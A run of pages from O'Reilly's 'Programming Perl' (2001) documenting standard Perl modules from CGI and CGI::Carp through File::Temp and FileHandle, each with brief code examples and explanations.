The CGI module helps manage HTML forms, especially multistage forms where passing state from one stage to another is critical. The extremely simple example above expects to process a form with two parameters that take single values, such as text fields or radio buttons, and one that takes multiple values, like scrolling lists specified as "MULTIPLE". The module is several orders of magnitude fancier than this, supporting such features as convenient cookie processing, persistent values for multiscreen shopping carts, and dynamic generation of HTML lists and tables you might pull from a database--just to name a few. Support for turbo-charged execution of precompiled Perl scripts through Apache's mod_perl facility is also provided. The O'Reilly book Writing Apache Modules with Perl and C, by Lincoln Stein and Doug MacEachern, can tell you all about this.

Previous | Home | Next
32.3. Carp | Book Index | 32.5. CGI::Carp
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI::Carp (Programming Perl)

 Programming PerlSearch this book

32.5. CGI::Carp

use CGI::Carp;
warn "This is a complaint";     # Stamp it with progname and date.
die "But this one is serious";  # But don't cause server 500 errors.

use CGI::Carp qw(carpout);      # Import this function.
open(LOG, ">>/var/tmp/mycgi-log")
    or die "Can't append to mycgi-log: $!\n";
carpout(*LOG);                  # Now uses program-specific errlog.

use CGI::Carp qw(fatalsToBrowser);
die "Fatal error messages are now sent to browser, too";

The CGI::Carp module provides versions of the warn and die Perl built-in functions, plus the Carp module's carp, cluck, confess, and croak functions which are more verbose and safer, too. They're more verbose because each message includes the date and time with the name of the program issuing the message, which helps when you're using a log file shared by a hundred different programs scribbling a thousand different messages on it at the same time.

The module is also kinder to web surfers, since premature death in a CGI script tends to cause inscrutable "Server 500" errors when the proper HTTP header doesn't get out to the server before your program pegs out, and this module makes sure that doesn't happen. The carpout function redirects all warnings and errors to the filehandle specified. The fatalsToBrowser directive sends a copy of such messages to the user's browser, too. These facilities ease debugging of problems in CGI scripts.

Previous | Home | Next
32.4. CGI | Book Index | 32.6. Class::Struct
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class::Struct (Programming Perl)

 Book Home Programming PerlSearch this book

32.6. Class::Struct

use Class::Struct;

struct Manager => {         # Creates a Manager->new() constructor.
    name    => '$',         # Now name() method accesses a scalar value.
    salary  => '$',         # And so does salary().
    started => '$',         # And so does started().
};

struct Shoppe => {          # Creates a Shoppe->new() constructor.
    owner   => '$',         # Now owner() method accesses a scalar.
    addrs   => '@',         # And addrs() method accesses an array.
    stock   => '%',         # And stock() method accesses a hash.
    boss    => 'Manager',   # Initializes with Manager->new().
};

$store = Shoppe->new();
$store->owner('Abdul Alhazred');
$store->addrs(0, 'Miskatonic University');
$store->addrs(1, 'Innsmouth, Mass.');
$store->stock("books", 208);
$store->stock("charms", 3);
$store->stock("potions", "none");
$store->boss->name('Prof L. P. Haitch');
$store->boss->salary('madness');
$store->boss->started(scalar localtime);
The Class::Struct module provides a way to "declare" a class as having objects whose fields are of a specific type. The function that does this is called struct. Because structures or records are not base types in Perl, each time you want to create a class to provide a record-like data object, you have to define a constructor method along with accessor methods for each data field, sometimes called "wrapper" methods. The Class::Struct module's struct function alleviates this tedium by creating a class for you on the fly. You just tell it what data members should exist and their types. The function creates a constructor method named new in the package specified by the first argument, plus an attribute accessor method for each member, as specified by the second argument, which should be a hash reference.

Field types are specified as either a built-in type using the customary "$", "@", "%", and "&" symbols, or as another class using the class name. The type of each field will be enforced when you try to set the value.

Many standard modules use Class::Struct to create their objects and accessors, including Net::hostent and User::pwent, whose source you can look at as a model. See also the CPAN modules Tie::SecureHash and Class::Multimethods for more elaborate approaches to autogeneration of classes and accessor methods. See the section "Managing Instance Data" in Chapter 12, "Objects".

Previous | Home | Next
32.5. CGI::Carp | Book Index | 32.7. Config
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Config (Programming Perl)

 Book Home Programming PerlSearch this book

32.7. Config

use Config;
if ($Config{cc} =~ /gcc/) {
    print "This perl was built by GNU C.\n";
}
use Config qw(myconfig config_sh config_vars);
print myconfig();    # like perl -V without a pattern
print config_sh();   # gives absolutely everything

config_vars qw/osname osvers archname/;
The configuration mechanism that builds and installs Perl assembles a wealth of information about your system. The Config module exports by default a tied hash variable named %Config, which provides access to over 900 different configuration values. (These values are also available through Perl's -V:PATTERN command-line switch.) Config also provides three functions that give more shell-like access to these values, as shown above. For instance, that last call might print out:
osname='openbsd';
osvers='2.6';
archname='OpenBSD.sparc-openbsd';
The module's online documentation describes the configuration variables and their possible values. Be aware that if you move your perl executable to a system other than the one on which it was built, these values may not reflect the current reality; for instance, if you're running a Linux or a Solaris binary on a BSD system.

Previous | Home | Next
32.6. Class::Struct | Book Index | 32.8. CPAN
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CPAN (Programming Perl)

 Book Home Programming PerlSearch this book

32.8. CPAN

# Get interactive CPAN shell.
% perl -MCPAN -e shell

# Just ask for upgrade recommendations.
% perl -MCPAN -e 'CPAN::Shell->r'

# Install the named module in batch mode.
% perl -MCPAN -e "install Class::Multimethods"
The CPAN module is an automated, user-friendly interface to the Comprehensive Perl Archive Network described in Chapter 22, "CPAN". Unlike most modules you encounter, it's intended to be called from the command line, just like a little program. The first time you call it, the module prompts for the default CPAN mirror site and other information it needs. After that, you can fire up its interactive shell to make queries and select modules to install, ask the module for recommendations on which modules need an upgrade, or just have it install one particular module.

Previous | Home | Next
32.7. Config | Book Index | 32.9. Cwd
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cwd (Programming Perl)

 Programming PerlSearch this book

32.9. Cwd

use Cwd;
$dir = getcwd();    # Where am I?

use Cwd 'chdir';
chdir "/tmp";       # Updates $ENV{PWD}.

use Cwd 'realpath';
print realpath("/usr////spool//mqueue/../");  # prints /var/spool

The Cwd module provides platform-independent functions to determine your process's current working directory. This is better than shelling out to pwd(1) because non-POSIX-conforming systems aren't guaranteed to have such a command, and Perl runs on more than just POSIX platforms. The getcwd function, which is exported by default, returns the current working directory using whatever mechanism is deemed safest on the current platform. If you import the chdir function, it overrides the built-in operator with the module's operator, which maintains the $ENV{PWD} environment variable; commands you might launch later that would care about that variable would then have a consistent view of their world. The realpath function resolves its pathname argument of any symbolic links and relative-path components to return a full path directory in canonical form, just like realpath(3).

Previous | Home | Next
32.8. CPAN | Book Index | 32.10. Data::Dumper
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data::Dumper (Programming Perl)

 Book Home Programming PerlSearch this book

32.10. Data::Dumper

use Data::Dumper;
print Dumper($store);

When used on the example from Class::Struct, this prints:

$VAR1 = bless( {
             'Shoppe::owner' => 'Abdul Alhazred',
             'Shoppe::stock' => {
                                  'charms' => 3,
                                  'books' => 208,
                                  'potions' => 'none'
                                },
             'Shoppe::boss' => bless( {
                                        'Manager::name' =>
                                            'Prof L. P. Haitch',
                                        'Manager::salary' =>
                                            'madness',
                                        'Manager::started' =>
                                            'Sat Apr  1 16:18:13 2000'
                                      }, 'Manager' ),
             'Shoppe::addrs' => [
                                  'Miskatonic University',
                                  'Innsmouth, Mass.'
                                ]
           }, 'Shoppe' );
The Data::Dumper module's Dumper function takes a list of scalars (including references, which can even refer to objects) and returns a printable or evalable string that accurately reproduces an faithful copy of the original. You could use this to write out a saved version of a data structure to a regular disk file or into a DBM file, or to pass it to another process over a pipe or socket connection. This module can be used with MLDBM from CPAN and DB_File to implement a DBM file that can transparently store complex data values, not just flat strings. Other stringification (or serialization, or marshalling) modules include Storable and FreezeThaw, both available from CPAN.

Previous | Home | Next
32.9. Cwd | Book Index | 32.11. DB_File
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DB_File (Programming Perl)

 Book Home Programming PerlSearch this book

32.11. DB_File

use DB_File;

Tie a hash to a DBM-style file:

tie(%hash, "DB_File", $filename)     # Open database.
    or die "Can't open $filename: $!";

$v = $hash{"key"};                   # Retrieve from database.
$hash{"key"} = "value";              # Put value into database.
untie %hash;
Tie a hash to a B-tree file, but still access as a regular DBM hash:
tie(%hash, "DB_File", "mytree", O_RDWR|O_CREAT, 0666, $DB_BTREE)
    or die "Cannot open file `mytree': $!";

while (($k, $v) = each %hash) {     # Do in-order traversal.
    print "$k => $v\n";
}
Tie an array to a plain text file:
tie(@lines, "DB_File", $textfile, O_RDWR|O_CREAT, 0666, $DB_RECNO)
    or die "Cannot open textfile $textfile: $!";

# Write a few lines to the file, overwriting any old contents.
$lines[0] = "first line";
$lines[1] = "second line";
$lines[2] = "third line";

push @lines, "penult", "last";  # Append two lines to the file.
$wc = scalar @lines;            # Count lines in file.
$last = pop @lines;             # Delete and retrieve last line.
The DB_File module provides tied access to Berkeley DB.[1] The default tie function gives you a standard DBM-style database with some features that no other DBM library provides: there are no size limits on either keys or values, and your data is stored in a byte-order independent format.

[1]Providing you have that library installed on your system. If not, you can build and install it easily enough.

The second tie mechanism uses B-trees to give you a true ISAM (indexed sequential access method) file, that is, a hash whose keys are automatically ordered--alphabetically by default, but configurable by the user.

The third tie mechanism binds an array to a file of records (text lines by default) so that changes to the array are automatically reflected on disk. This simulates random access by line number on a regular text file. The standard interface conforms to version 1.x of Berkeley DB; if you want to make use of the new features available in Berkeley DB 2.x or 3.x, use the CPAN module BerkeleyDB instead.

Starting with version 2.x, Berkeley DB has internal support for locking; earlier versions did not. See the section "File Locking" in Chapter 16, "Interprocess Communication" for a description of how you can safely lock any kind of database file using flock on a semaphore file.

Previous | Home | Next
32.10. Data::Dumper | Book Index | 32.12. Dumpvalue
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dumpvalue (Programming Perl)

 Book Home Programming PerlSearch this book

32.12. Dumpvalue

use Dumpvalue;

Dumpvalue->new->dumpValue($store);
When used on the example from Class::Struct, this prints:
'Shoppe::addrs' => ARRAY(0x9c1d4)
   0  'Miskatonic University'
   1  'Innsmouth, Mass.'
'Shoppe::boss' => Manager=HASH(0xa5754)
   'Manager::name' => 'Prof L. P. Haitch'
   'Manager::salary' => 'madness'
   'Manager::started' => 'Sat Apr  1 16:18:13 2000'
'Shoppe::owner' => 'Abdul Alhazred'
'Shoppe::stock' => HASH(0xfdbb4)
   'books' => 208
   'charms' => 3
   'potions' => 'none'
This is another module to help display complex data. It's not so much meant for marshalling as it is for pretty printing. It's used by the Perl debugger's x command. As such, it offers a dizzying wealth of options to control the output format. It also provides convenient access to Perl's package symbol tables to dump out the contents of an entire package.

Previous | Home | Next
32.11. DB_File | Book Index | 32.13. English
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


English (Programming Perl)

 Book Home Programming PerlSearch this book

32.13. English

use English;

# Use awk-style names.
$RS = '';                   # instead of $/
while (<>) {
    next if $NR < 10;       # instead of $.
    ...
}

# Same thing, but even more cobolaciously.
$INPUT_RECORD_SEPARATOR = '';
while (<>) {
    next if $INPUT_LINE_NUMBER < 10;
    ...
}
The English module provides cumbersome aliases for the built-in variables for prodigious typists with a visceral dislike for nonalphabetic identifiers (and a visceral like for the Caps Lock key). As with all imports, these aliases are only available in the current package. The variables are still available under their real names. For example, once you use this module, you can use $PID if $$ bothers you, or $PROGRAM_NAME if $0 makes you queasy. Some variables have more than one alias. See Chapter 28, "Special Names", for a complete description of all built-in variables, along with their English aliases.

Previous | Home | Next
32.12. Dumpvalue | Book Index | 32.14. Errno
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Errno (Programming Perl)

 Book Home Programming PerlSearch this book

32.14. Errno

use Errno;
unless (open(FH, $pathname)) {
    if ($!{ENOENT}) {  # We don't need an import for this!
        warn "$pathname does not exist\n";
    }
    else {
        warn "open failed on `$pathname': $!";
    }
}

use Errno qw(EINTR EIO :POSIX);
if ($! == ENOENT) { .... }
The Errno module makes available the symbolic names for the error status values set when a syscall fails, but does not export them by default. The module has a single export tag, ":POSIX", which exports only those symbols defined by the POSIX 1003.1 standard. The module also makes the global %! variable magical using tie. You can subscript into the %! hash using any valid errno on your system, not just the POSIX ones, and its value is true only if that's the current error.

Previous | Home | Next
32.13. English | Book Index | 32.15. Exporter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Exporter (Programming Perl)

 Book Home Programming PerlSearch this book

32.15. Exporter

Inside your MyModule.pm file:

package MyModule;

use strict;
use Exporter;

our $VERSION = 1.00;           # Or higher...
our @ISA = qw(Exporter);

our @EXPORT      = qw(f1 %h);  # Symbols imported by default.
our @EXPORT_OK   = qw(f2 f3);  # Symbols imported only by request.
our %EXPORT_TAGS = (           # Mappings for :shortcuts.
    a => [qw(f1 f2 f3)],
    b => [qw(f2 %h)],
);

# Your code here.

1;
From a program or another module that makes use of your module:
use MyModule;                  # Import everything in @EXPORT.
use MyModule ();               # Load module, no imports at all.
use MyModule "f1", "f2", "%h"; # Two subs and a variable.
use MyModule qw(:DEFAULT f3);  # All in @EXPORT + one sub.
use MyModule "f4";             # Fatal because f4 not exported.
Whenever anyone invokes a use declaration to load your module, it calls the import method from your module to fetch any symbols it needs into the package of the invoker. Your module (the one doing the exporting) can define the import method any way it pleases, but the standard way is to inherit the method from the Exporter class module. That is what the code above arranges.

The Exporter module serves as a base class for modules that wish to establish their own exports. Oddly, object-oriented modules typically don't use Exporter, since they don't normally export anything (method calls don't need to be exported). However, the Exporter module itself is accessed in an OO fashion because of the @ISA array you installed, as in our example. When another program or module uses your module, the import method is invoked as a class method in your module: MyModule->import(LIST). However, since you didn't define an import method in your module, you'll automatically make use of the Exporter::import method through inheritance.

The module's @EXPORT array contains a list of symbols (functions and even variables) that the calling code automatically imports with an unadorned use statement. The @EXPORT_OK array holds symbols that can be imported if specifically requested by name. The $VERSION number is consulted if the use statement requests that a particular version (or newer) of the module. Many, many other features are available. See Chapter 11, "Modules", as well as the online manpage for the Exporter module.

Previous | Home | Next
32.14. Errno | Book Index | 32.16. Fatal
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fatal (Programming Perl)

 Programming PerlSearch this book

32.16. Fatal

The Fatal module makes functions fail more spectacularly. It replaces functions that normally return false upon failure with wrappers that raise an exception if the real function returns false. That way you can safely use these functions without testing their return values explicitly on each call.

Both user-defined functions and built-in functions may be wrapped, except for those built-ins that cannot be expressed via prototypes. Attempting to override a nonoverridable built-in raises an exception. These include system, print, printf, exec, split, grep, and map--or more generally, any FUNC for which prototype "CORE::FUNC" returns false, including the prototype function itself.

If the symbol :void appears in the import list, functions named later in the list are limited to raising an exception when the function is called in void context--that is, when the return value is ignored. (Be careful about the last statement in a subroutine.) For example:

use Fatal qw(:void open close);

# open properly checked, so no exception is raised on failure.
if (open(FH, "< /nonesuch") { warn "no /nonesuch: $!"; }

# close not properly checked, so failure raises an exception.
close FH;

Previous | Home | Next
32.15. Exporter | Book Index | 32.17. Fcntl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fcntl (Programming Perl)

 Book Home Programming PerlSearch this book

32.17. Fcntl

use Fcntl;              # Import standard fcntl.h constants.
use Fcntl ":flock";     # Import LOCK_* constants.
use Fcntl ":seek";      # Import SEEK_CUR, SEEK_SET, SEEK_END.
use Fcntl ":mode";      # Import S_* stat checking constants.
use Fcntl ":Fcompat";   # Import F* constants.
The Fcntl module provides constants for use with various Perl built-in functions. The default set of imports includes constants like F_GETFL and F_SETFL for fcntl, SEEK_SET and SEEK_END for seek and sysseek, and O_CREAT and O_EXCL for sysopen. Supported import tags include ":flock" to access the LOCK_EX, LOCK_NB, LOCK_SH, and LOCK_UN constants for flock; ":mode" to get at constants from sys/stat.h like S_IRUSR and S_ISFIFO; ":seek" to get at the three arguments for seek and sysseek; and ":Fcompat" to get the old-style symbols with a leading "F" but not "F_", like FAPPEND, FASYNC, and FNONBLOCK. See the online documentation for the Fcntl module and your operating system's documentation on the relevant syscalls, like fcntl(2), lseek(2), open(2), and stat(2).

Previous | Home | Next
32.16. Fatal | Book Index | 32.18. File::Basename
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Basename (Programming Perl)

 Book Home Programming PerlSearch this book

32.18. File::Basename

use File::Basename;

$fullname = "/usr/local/src/perl-5.6.1.tar.gz";

$file = basename($fullname);
# file="perl-5.6.1.tar.gz"

$dir = dirname($fullname);
# dir="/usr/local/src"

($file,$dir,$ext) = fileparse($fullname, qr/\..*/);
# dir="/usr/local/src/" file="perl-5" ext=".6.1.tar.gz"

($file,$dir,$ext) = fileparse($fullname, qr/\.[^.]*/);
# dir="/usr/local/src/" file="perl-5.6.1.tar" ext=".gz"

($file,$dir,$ext) = fileparse($fullname, qr/\.\D.*/);
# dir="/usr/local/src/" file="perl-5.6.1" ext=".tar.gz"

($file,$dir,$bak) = fileparse("/tmp/file.bak",
                        qr/~+$/, qr/\.(bak|orig|save)/)
# dir="/tmp/" file="file" ext=".bak"

($file,$dir,$bak) = fileparse("/tmp/file~",
                        qr/~+$/, qr/\.(bak|orig|save)/)
# dir="/tmp/" file="file" ext="~"
The File::Basename module provides functions to parse pathnames into their individual components. The dirname function pulls out the directory portion and basename the nondirectory portion. The more elaborate fileparse function picks out the full pathname into the directory name, the filename, and the suffix; you must supply a list of regular expressions describing the suffixes that interest you. The examples above illustrate how choice of suffix patterns affects the result. By default, these functions parse pathnames according to the native conventions of your current platform. The fileparse_set_fstype function selects a different platform's parsing rules, such as fileparse_set_fstype("VMS") to parse names using VMS rules, even when running on non-VMS systems.

Previous | Home | Next
32.17. Fcntl | Book Index | 32.19. File::Compare
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Compare (Programming Perl)

 Book Home Programming PerlSearch this book

32.19. File::Compare

use File::Compare;

printf "fileA and fileB are %s.\n",
    compare("fileA","fileB") ? "different" : "identical";

use File::Compare 'cmp';
sub munge($) {
    my $line = $_[0];
    for ($line) {
        s/^\s+//;   # Trim leading whitespace.
        s/\s+$//;   # Trim trailing whitespace.
    }
    return uc($line);
}

if (not cmp("fileA", "fileB", sub {munge $_[0] eq munge $_[1]} ) {
    print "fileA and fileB are kinda the same.\n";
}
The File::Compare module provides one function, compare, which compares the contents of the two files passed to it. It returns 0 if the files contain the same data, 1 if they contain different data, and -1 if an error was encountered in accessing the named files. If you pass a subroutine reference as the third argument, that function is repeatedly called to determine whether any two lines are equivalent. For compatibility with the cmp(1) program, you may explicitly import the function as cmp. (This does not affect the binary cmp operator.)

Previous | Home | Next
32.18. File::Basename | Book Index | 32.20. File::Copy
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Copy (Programming Perl)

 Book Home Programming PerlSearch this book

32.20. File::Copy

use File::Copy;

copy("/tmp/fileA", "/tmp/fileA.orig") or die "copy failed: $!";
copy("/etc/motd", *STDOUT)            or die "copy failed: $!";
move("/tmp/fileA", "/tmp/fileB")      or die "move failed: $!";

use File::Copy qw/cp mv/;             # Get normal Unix names.
cp "/tmp/fileA", "/tmp/fileA.orig"    or die "copy failed: $!";
mv "/tmp/fileA", "/tmp/fileB"         or die "move failed: $!";
The File::Copy module exports two functions, copy and move, that respectively copy or rename their first argument to their second argument, similar to calling the Unix cp(1) and mv(1) commands (names you may use if you import them explicitly). The copy function also accepts filehandles as arguments. These functions return true when they work and false when they fail, setting $! ($OS_ERROR) as appropriate. (Unfortunately, you can't tell whether something like "Permission denied" applies to the first file or to the second one.) These functions are something of a compromise between convenience and precision. They do not support the numerous options and optimizations found in cp(1) and mv(1), such as recursive copying, automatic backups, retention of original timestamps and ownership information, and interactive confirmation. If you need any of those features, it's probably best to call your platform's versions of those commands.[2] Just realize that not all systems support the same commands or use the same options for them.
system("cp -R -pi /tmp/dir1 /tmp/dir2") == 0
    or die "external cp command status was $?";

[2]Or get the PPT versions if your platform is tool-challenged.

Previous | Home | Next
32.19. File::Compare | Book Index | 32.21. File::Find
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Find (Programming Perl)

 Book Home Programming PerlSearch this book

32.21. File::Find

use File::Find;

# Print out all directories below current one.
find sub { print "$File::Find::name\n" if -d }, ".";

# Compute total space used by all files in listed directories.
@dirs = @ARGV ? @ARGV : ('.');
my $sum = 0;
find sub { $sum += -s }, @dirs;
print "@dirs contained $sum bytes\n";

# Alter default behavior to go through symlinks
# and visit subdirectories first.
find { wanted => \&myfunc, follow => 1, bydepth => 1 }, ".";
The File::Find module's find function recursively descends directories. Its first argument should be a reference to a function, and all following arguments should be directories. The function is called on each filename from the listed directories. Within that function, the $_ variable is set to the basename of the current filename visited, and the process's current working directory is by default set to that directory. The package variable $File::Find::name is the full pathname of the visited filename. An alternative calling convention takes as its first argument a reference to a hash containing option specifications, including "wanted", "bydepth", "follow", "follow_fast", "follow_skip", "no_chdir", "untaint", "untaint_pattern", and "untaint_skip", as fully explained in the online documentation. This module is also used by the standard find2perl(1) translator program that comes with Perl.

Previous | Home | Next
32.20. File::Copy | Book Index | 32.22. File::Glob
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Glob (Programming Perl)

 Book Home Programming PerlSearch this book

32.22. File::Glob

use File::Glob ':glob';      # Override glob built-in.
@list = <*.[Cchy]>;          # Now uses POSIX glob, not csh glob.

use File::Glob qw(:glob csh_glob);
@sources = bsd_glob("*.{C,c,h,y,pm,xs}", GLOB_CSH);
@sources = csh_glob("*.{C,c,h,y,pm,xs}");  # (same thing)

use File::Glob ':glob';
# call glob with extra arguments
$homedir = bsd_glob('~jrhacker', GLOB_TILDE | GLOB_ERR);
if (GLOB_ERROR) {
    # An error occurred expanding the home directory.
}
The File::Glob module's bsd_glob function implements the glob(3) routine from the C library. An optional second argument contains flags governing additional matching properties. The :glob import tag imports both the function and the necessary flags.

The module also implements a csh_glob function. This is what the built-in Perl glob and GLOBPAT fileglobbing operators really call. Calling csh_glob is (mostly) like calling bsd_glob this way:

bsd_glob(@_ ? $_[0] : $_,
    GLOB_BRACE | GLOB_NOMAGIC | GLOB_QUOTE | GLOB_TILDE);
If you import the :glob tag, then all calls to the built-in fileglobbing operators in the current package will really call the module's bsd_glob function instead of its csh_glob function. One reason you might want to do this is that, although bsd_glob handles patterns with whitespace in them correctly, csh_glob handles them, um, in the historical fashion. Old scripts would write <*.c *.h> to glob both of those. Neither function is bothered by whitespace in the actual filenames, however.

The bsd_glob function takes an argument containing the fileglobbing pattern (not a regular expression pattern) plus an optional flags argument. Filenames with a leading dot are not matched unless specifically requested. The return value is influenced by the flags in the second argument, which should be bitwise ORed together:[3]

[3]Due to restrictions in the syntax of the built-in glob operator, you may need to call the function as bsd_glob if you want to pass it the second argument.

GLOB_BRACE

Preprocess the string to expand {pat,pat,...} strings as csh(1) would. The pattern {} is left unexpanded for historical reasons, mostly to ease typing of find(1) patterns.

GLOB_CSH

Synonym for GLOB_BRACE | GLOB_NOMAGIC | GLOB_QUOTE | GLOB_TILDE.

GLOB_ERR

Return an error when bsd_glob encounters a directory it cannot open or read. Ordinarily, bsd_glob skips over the error, looking for more matches.

GLOB_MARK

Return values that are directories with a slash appended.

GLOB_NOCASE

By default, filenames are case sensitive; this flag makes bsd_glob treat case differences as insignificant. (But see below for exceptions on MS-DOSish systems).

GLOB_NOCHECK

If the pattern does not match any pathname, then makes bsd_glob return a list consisting of only the pattern, as /bin/sh does. If GLOB_QUOTE is set, its effect is present in the pattern returned.

GLOB_NOMAGIC

Same as GLOB_NOCHECK but it only returns the pattern if it does not contain any of the special characters *, ? or [. NOMAGIC is provided to simplify implementing the historic csh(1) globbing behavior and should probably not be used anywhere else.

GLOB_NOSORT

By default, the pathnames are sorted in ascending order (using normal character comparisons irrespective of locale setting). This flag prevents that sorting for a small increase in speed.

GLOB_QUOTE

Use the backslash character \ for quoting: every occurrence of a backslash followed by a character in the pattern is replaced by that character, avoiding any special interpretation of the character. (But see below for exceptions on MS-DOSish systems).

GLOB_TILDE

Allow patterns whose first path component is ~USER. If USER is omitted, the tilde by itself (or followed by a slash) represents the current user's home directory.

The bsd_glob function returns a (possibly empty) list of matching paths, which will be tainted if that matters to your program. On error, GLOB_ERROR will be true and $! ($OS_ERROR) will be set to the standard system error. GLOB_ERROR is guaranteed to be false if no error occurred, and to be either GLOB_ABEND or GLOB_NOSPACE otherwise. (GLOB_ABEND means that the bsd_glob was stopped due to some error, GLOB_NOSPACE because it ran out of memory.) If bsd_glob had already found some matching paths when the error occurred, it returns the list of filenames found so far, and also sets GLOB_ERROR. Note that this implementation of bsd_glob varies from most others by not considering ENOENT and ENOTDIR as terminating error conditions. Instead, it continues processing despite those errors, unless the GLOB_ERR flag is set.

If no flag argument is supplied, your system's defaults are followed, meaning that filenames differing only in case are indistinguishable from one another on VMS, OS/2, old Mac OS (but not Mac OS X), and Microsoft systems (but not when Perl was built with Cygwin). If you supply any flags at all and still want this behavior, then you must include GLOB_NOCASE in the flags. Whatever system you're on, you can change your defaults up front by importing the :case or :nocase flags.

On MS-DOSish systems, the backslash is a valid directory separator character.[4] In this case, use of backslash as a quoting character (via GLOB_QUOTE) interferes with the use of backslash as a directory separator. The best (simplest, most portable) solution is to use slashes for directory separators, backslashes for quoting. However, this does not match some users' expectations, so backslashes (under GLOB_QUOTE) quote only the glob metacharacters [, ], {, }, -, ~, and \ itself. All other backslashes are passed through unchanged, if you can manage to get them by Perl's own backslash quoting in strings. It may take as many as four backslashes to finally match one in the filesystem. This is so completely insane that even MS-DOSish users should strongly consider using slashes. If you really want to use backslashes, look into the standard File::DosGlob module, as it might be more to your liking than Unix-flavored fileglobbing.

[4] Although technically, so is a slash--at least as far as those kernels and syscalls are concerned; command shells are remarkably less enlightened.

Previous | Home | Next
32.21. File::Find | Book Index | 32.23. File::Spec
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Spec (Programming Perl)

 Book Home Programming PerlSearch this book

32.23. File::Spec

use File::Spec;     # OO style

$path = File::Spec->catfile("subdir", "filename");
    # 'subdir/filename' on Unix, OS2, or Mac OS X
    # 'subdir:filename' on (old) Apple Macs
    # 'subdir\filename' on Microsoft

$path = File::Spec->catfile("", "dir1", "dir2", "filename");
    # '/dir1/dir2/filename' on Unix, OS2, or Mac OS X
    # ':dir1:dir2:filename' on (old) Apple Macs
    # '\dir1\dir2\filename' on Microsoft

use File::Spec::Unix;
$path = File::Spec::Unix->catfile("subdir", "filename");
    # 'subdir/filename' (even when executed on non-Unix systems)

use File::Spec::Mac;
$path = File::Spec::Mac->catfile("subdir", "filename");
    # 'subdir:filename'

use File::Spec::Win32;
$path = File::Spec::Win32->catfile("subdir", "filename";)
    # 'subdir\filename'

# Use functional interface instead.
use File::Spec::Functions;
$path = catfile("subdir", "filename");
The File::Spec family of modules lets you construct paths using directories and filenames without hardcoding platform-specific directory separators. Supported systems include Unix, VMS, Mac, and Win32. These modules all offer a catfile class method that catenates together each path component using the specified platform's path separator. The File::Spec module returns different results depending on your current platform. The others return results specific to that platform. The File::Spec::Functions module provides a functional interface.

Previous | Home | Next
32.22. File::Glob | Book Index | 32.24. File::stat
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::stat (Programming Perl)

 Book Home Programming PerlSearch this book

32.24. File::stat

use File::stat;
$st = stat($file)      or die "Can't stat $file: $!";
if ($st->mode & 0111 and $st->nlink > 1)) {
    print "$file is executable with many links\n";
}

use File::stat ":FIELDS";
stat($file)            or die "Can't stat $file: $!";
if ($st_mode & 0111 and $st_nlink > 1) ) {
    print "$file is executable with many links\n";
}

@statinfo = CORE::stat($file);    # Access overridden built-in.
The File::stat module provides a method interface to Perl's built-in stat and lstat functions by replacing them with versions that return a File::stat object (or undef on failure). This object has methods that return the like-named structure field name from the traditional stat(2) syscall; namely, dev, ino, mode, nlink, uid, gid, rdev, size, atime, mtime, ctime, blksize, and blocks. You may also import the structure fields into your own namespace as regular variables using the ":FIELDS" import tag. (This still overrides your stat and lstat built-ins.) These fields show up as scalar variables named with a "st_" in front of the field name. That is, the $st_dev variable corresponds to the $st->dev method.

Previous | Home | Next
32.23. File::Spec | Book Index | 32.25. File::Temp
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File::Temp (Programming Perl)

 Book Home Programming PerlSearch this book

32.25. File::Temp

use File::Temp qw(tempfile tempdir);

$dir = tempdir(CLEANUP => 1);
($fh, $filename) = tempfile(DIR => $dir);
($fh, $filename) = tempfile($template, DIR => $dir);
($fh, $filename) = tempfile($template, SUFFIX => ".data");
$fh = tempfile();

use File::Temp ':mktemp';

($fh, $filename) = mkstemp("tmpfileXXXXX");
($fh, $filename) = mkstemps("tmpfileXXXXXX", $suffix);
$tmpdir = mkdtemp($template);
$unopened_file = mktemp($template);
New to version 5.6.1 of Perl, the File::Temp module provides convenient functions for creating and opening temporary files securely. It's better to use this module than to try to pick a temporary file on your own. Otherwise, you'll just fall into all the same traps as everyone else before you. This module guards you against various subtle race conditions, as well as the dangers of using directories that others can write to; see Chapter 23, "Security". The tempfile function returns both a filehandle and filename. It's safest to use the filehandle that's already open and ignore the filename entirely (except perhaps for error messages). Once the file is closed, it is automatically deleted. For compatibility with the C library, the :mktemp import tag provides access to functions with names familiar to C programmers, but please remember that filenames are always less secure than filehandles.

Previous | Home | Next
32.24. File::stat | Book Index | 32.26. FileHandle
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


FileHandle (Programming Perl)

 Book Home Programming PerlSearch this book

32.26. FileHandle

use FileHandle;

$fh = new FileHandle;
if ($fh->open("< file")) {
    print $line while defined($line = $fh->getline);
    $fh->close;
}

$pos = $fh->getpos;     # like tell()
$fh->setpos($pos);      # like seek()

($readfh, $writefh) = FileHandle::pipe();

autoflush STDOUT 1;
